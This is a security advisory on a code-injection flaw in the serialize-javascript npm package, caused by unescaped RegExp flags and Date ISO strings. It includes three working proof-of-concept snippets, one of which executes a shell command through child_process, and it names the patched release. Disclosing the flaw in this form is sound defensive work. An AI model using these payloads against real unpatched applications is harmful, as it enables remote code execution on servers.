Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

Summary

### Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.

If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.

```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ```

```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ```

```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ```

### Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3